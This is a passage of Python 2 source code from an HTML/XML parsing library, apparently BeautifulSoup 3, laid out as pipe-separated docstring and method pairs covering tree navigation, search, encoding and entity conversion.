if self.previousSibling:
self.previousSibling.nextSibling = self.nextSibling
if self.nextSibling:
self.nextSibling.previousSibling = self.previousSibling
self.previousSibling = self.nextSibling = None
return self
|
'Finds the last element beneath this object to be parsed.'
| def _lastRecursiveChild(self):
| lastChild = self
while (hasattr(lastChild, 'contents') and lastChild.contents):
lastChild = lastChild.contents[(-1)]
return lastChild
|
'Appends the given tag to the contents of this tag.'
| def append(self, tag):
| self.insert(len(self.contents), tag)
|
'Returns the first item that matches the given criteria and
appears after this Tag in the document.'
| def findNext(self, name=None, attrs={}, text=None, **kwargs):
| return self._findOne(self.findAllNext, name, attrs, text, **kwargs)
|
'Returns all items that match the given criteria and appear
after this Tag in the document.'
| def findAllNext(self, name=None, attrs={}, text=None, limit=None, **kwargs):
| return self._findAll(name, attrs, text, limit, self.nextGenerator, **kwargs)
|
'Returns the closest sibling to this Tag that matches the
given criteria and appears after this Tag in the document.'
| def findNextSibling(self, name=None, attrs={}, text=None, **kwargs):
| return self._findOne(self.findNextSiblings, name, attrs, text, **kwargs)
|
'Returns the siblings of this Tag that match the given
criteria and appear after this Tag in the document.'
| def findNextSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs):
| return self._findAll(name, attrs, text, limit, self.nextSiblingGenerator, **kwargs)
|
'Returns the first item that matches the given criteria and
appears before this Tag in the document.'
| def findPrevious(self, name=None, attrs={}, text=None, **kwargs):
| return self._findOne(self.findAllPrevious, name, attrs, text, **kwargs)
|
'Returns all items that match the given criteria and appear
before this Tag in the document.'
| def findAllPrevious(self, name=None, attrs={}, text=None, limit=None, **kwargs):
| return self._findAll(name, attrs, text, limit, self.previousGenerator, **kwargs)
|
'Returns the closest sibling to this Tag that matches the
given criteria and appears before this Tag in the document.'
| def findPreviousSibling(self, name=None, attrs={}, text=None, **kwargs):
| return self._findOne(self.findPreviousSiblings, name, attrs, text, **kwargs)
|
'Returns the siblings of this Tag that match the given
criteria and appear before this Tag in the document.'
| def findPreviousSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs):
| return self._findAll(name, attrs, text, limit, self.previousSiblingGenerator, **kwargs)
|
'Returns the closest parent of this Tag that matches the given
criteria.'
| def findParent(self, name=None, attrs={}, **kwargs):
| r = None
l = self.findParents(name, attrs, 1)
if l:
r = l[0]
return r
|
'Returns the parents of this Tag that match the given
criteria.'
| def findParents(self, name=None, attrs={}, limit=None, **kwargs):
| return self._findAll(name, attrs, None, limit, self.parentGenerator, **kwargs)
|
'Iterates over a generator looking for things that match.'
| def _findAll(self, name, attrs, text, limit, generator, **kwargs):
| if isinstance(name, SoupStrainer):
strainer = name
elif ((text is None) and (not limit) and (not attrs) and (not kwargs)):
if (name is True):
return [element for element in generator() if isinstance(element, Tag)]
elif isinstance(name, basestring):
return [element for element in generator() if (isinstance(element, Tag) and (element.name == name))]
else:
strainer = SoupStrainer(name, attrs, text, **kwargs)
else:
strainer = SoupStrainer(name, attrs, text, **kwargs)
results = ResultSet(strainer)
g = generator()
while True:
try:
i = g.next()
except StopIteration:
break
if i:
found = strainer.search(i)
if found:
results.append(found)
if (limit and (len(results) >= limit)):
break
return results
|
'Encodes an object to a string in some encoding, or to Unicode.'
| def toEncoding(self, s, encoding=None):
| if isinstance(s, unicode):
if encoding:
s = s.encode(encoding)
elif isinstance(s, str):
if encoding:
s = s.encode(encoding)
else:
s = unicode(s)
elif encoding:
s = self.toEncoding(str(s), encoding)
else:
s = unicode(s)
return s
|
'Used with a regular expression to substitute the
appropriate XML entity for an XML special character.'
| def _sub_entity(self, x):
| return (('&' + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]]) + ';')
|
'Create a new NavigableString.
When unpickling a NavigableString, this method is called with
the string in DEFAULT_OUTPUT_ENCODING. That encoding needs to be
passed in to the superclass\'s __new__ or the superclass won\'t know
how to handle non-ASCII characters.'
| def __new__(cls, value):
| if isinstance(value, unicode):
return unicode.__new__(cls, value)
return unicode.__new__(cls, value, DEFAULT_OUTPUT_ENCODING)
|
'text.string gives you text. This is for backwards
compatibility for Navigable*String, but for CData* it lets you
get the string without the CData wrapper.'
| def __getattr__(self, attr):
| if (attr == 'string'):
return self
else:
raise AttributeError, ("'%s' object has no attribute '%s'" % (self.__class__.__name__, attr))
|
'Used in a call to re.sub to replace HTML, XML, and numeric
entities with the appropriate Unicode characters. If HTML
entities are being converted, any unrecognized entities are
escaped.'
| def _convertEntities(self, match):
| try:
x = match.group(1)
if (self.convertHTMLEntities and (x in name2codepoint)):
return unichr(name2codepoint[x])
elif (x in self.XML_ENTITIES_TO_SPECIAL_CHARS):
if self.convertXMLEntities:
return self.XML_ENTITIES_TO_SPECIAL_CHARS[x]
else:
return (u'&%s;' % x)
elif ((len(x) > 0) and (x[0] == '#')):
if ((len(x) > 1) and (x[1] == 'x')):
return unichr(int(x[2:], 16))
else:
return unichr(int(x[1:]))
elif self.escapeUnrecognizedEntities:
return (u'&%s;' % x)
except ValueError:
pass
return (u'&%s;' % x)
|
'Basic constructor.'
| def __init__(self, parser, name, attrs=None, parent=None, previous=None):
| self.parserClass = parser.__class__
self.isSelfClosing = parser.isSelfClosingTag(name)
self.name = name
if (attrs is None):
attrs = []
elif isinstance(attrs, dict):
attrs = attrs.items()
self.attrs = attrs
self.contents = []
self.setup(parent, previous)
self.hidden = False
self.containsSubstitutions = False
self.convertHTMLEntities = parser.convertHTMLEntities
self.convertXMLEntities = parser.convertXMLEntities
self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities
convert = (lambda (k, val): (k, re.sub('&(#\\d+|#x[0-9a-fA-F]+|\\w+);', self._convertEntities, val)))
self.attrs = map(convert, self.attrs)
|
'Replace the contents of the tag with a string'
| def setString(self, string):
| self.clear()
self.append(string)
|